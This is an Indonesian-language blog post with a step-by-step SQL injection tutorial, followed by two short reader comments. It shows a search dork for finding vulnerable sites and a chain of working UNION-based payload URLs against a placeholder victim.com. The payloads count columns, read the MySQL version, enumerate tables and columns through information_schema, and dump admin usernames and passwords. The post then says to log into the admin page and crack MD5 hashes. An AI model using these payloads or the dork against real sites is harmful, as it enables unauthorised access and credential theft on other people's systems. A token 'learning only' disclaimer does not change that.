Kali ini saya akan berbagi ilmu hacking yg sebenernya udah banyak yang tahu...tapi gak apa2 lah, namanya juga newbie.
Ketentuan:
Saya tidak bertanggung jawab bila ada penyalahgunaan artikel ini, saya hanya ingin berbagi ilmu.
Dimohon jangan digunakan untuk perbuatan merusak, gunakan untuk pembelajaran saja.
Dimohon jangan digunakan untuk perbuatan merusak, gunakan untuk pembelajaran saja.
Apa?
SQL injection adalah sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain.
Bagaimana?
Untuk mencari mencari web target silahkan gunakan dork.
Contoh Dork:
inurl:"view.php?id=
Contoh website:
http://www.victim.com/view.php?id=75
Untuk mengecek bug pada suatu web tambahkan tanda petik ' dibelakang url.
contoh: http://www.victim.com/view.php?id=75'
jika muncul pesan error berarti web tersebut memiliki bug.Contoh salah satu error yang keluar:
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1
Sekarang kita lanjutkan mencari jumlah kolom.
Untuk mencari kolom gunakan perintah order by
Untuk mencari kolom gunakan perintah order by
Contoh:
http://www.victim.com/view.php?id=-75+order+by+1--
dimulai dengan angka 1, dst sampai muncul pesan error.
Pada contoh target kali ini, error muncul pada angka 19
Pada contoh target kali ini, error muncul pada angka 19
http://www.victim.com/view.php?id=-75+order+by+19--
Contoh pesan error:
Unknown column '19' in 'order clause'
Jadi jumlah kolom adalah 19-1 = 18 (jumlah column adalah 18)
Selanjutnya kita akan mencari "angka ajaib/angka togel" dimana kita bisa melakukan injection dengan perintah union select
Unknown column '19' in 'order clause'
Jadi jumlah kolom adalah 19-1 = 18 (jumlah column adalah 18)
Selanjutnya kita akan mencari "angka ajaib/angka togel" dimana kita bisa melakukan injection dengan perintah union select
Contoh:
http://www.victim.com/view.php?id=-75+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
Akan muncul "angka ajaib/angka togel" : 3, 11 dan 18
Biasanya yang bisa digunakan untuk injection adalah angka yang tebal atau lebih besar dari angka yang lain.
Contoh disini adalah angka 3
Terus kita cari versi Database Mysql-nya dengan perintah version() pada angka 3
Contoh:
http://www.victim.com/view.php?id=-75+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
Muncul tulisan :
5.0.90-community
Ternyata versi 5, kalau misal versi 4 kita harus menebak nama table secara manual, karena pada versi 4 tidak mendukung perintah information_schema.
5.0.90-community
Ternyata versi 5, kalau misal versi 4 kita harus menebak nama table secara manual, karena pada versi 4 tidak mendukung perintah information_schema.
Selanjutnya kita akan mencari table-nya dengan perintah group_concat(table_name) pada 3
dan +from+information_schema.tables+where+table_schema=database()-- di belakang angka 18
Contoh:
http://www.victim.com/view.php?id=-75+union+select+1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where table_schema=database()--
akan muncul nama-nama table :
Contoh:
admin,banner,product,dealers,news
Selanjutnya kita cari kolom dari table yang ada hubungannya dengan user & password,
kali ini kita ambil table admin.
Sebelumnya kita convert dulu ke hexa
http://easycalculation.com/ascii-hex.php
Masukan input pada String.
http://easycalculation.com/ascii-hex.php
Masukan input pada String.
Hasilnya yaitu pada Equivalent Hex Value.
Contoh hasil convert admin adalah 61 64 6D 69 6E
Hilangkan semua spasi pada hasil convert
Selanjutnya adalah mencari kolom pada table admin, perintahnya adalah group_concat(column_name) dan +from+information_schema.columns+where+table_name=0xHEXA-- di akhir url
Ganti HEXA dengan hasil convert tadi yaitu : 61646D696E
0x didepan hexa digunakan agar server mengetahui bahwa itu telah diconvert ke hexa
Contoh:
http://www.victim.com/view.php?id=-75+union+select+1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+info
rmation_schema.columns+where+table_name=0x61646D696E--
rmation_schema.columns+where+table_name=0x61646D696E--
Muncul kolom : user, pass
Untuk melihat isi dari kedua column tersebut gunakan perintah group_concat(KOLOM1,0x3a,KOLOM2) dan +from+NAMATABLE-- pada akhir URL
Ganti KOLOM1 dengan user dan KOLOM2 dengan pass
0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa
NAMA TABLE diganti dengan admin
NAMA TABLE diganti dengan admin
Contoh:
http://www.victim.com/view.php?id=-75+union+select+1,2,group_concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+admin--
Contoh hasil keuaran pada kolom user & pass yaitu: admin:admin
jadi
user = admin
password = admin
Sekarang anda tinggal mencari halaman admin login, dan masuk dengan masuk dengan user & pass diatas...
Catatan:
Jika ada yang mendapatkan password berupa MD5 seperti 21232f297a57a5a743894a0e4a801fc3 atau yang lainnya, silahkan anda cari hashnya dengan cara mencari di search engine atau menerjemahkannya dengan cara bruteforce.
Sekian & trimakasih.
Semoga bemanfaat ^_^



t3rim4 k4sih b4ny4k y4 m4s jungoz
ReplyDelete@portalbyte: sama" mas...:D
ReplyDelete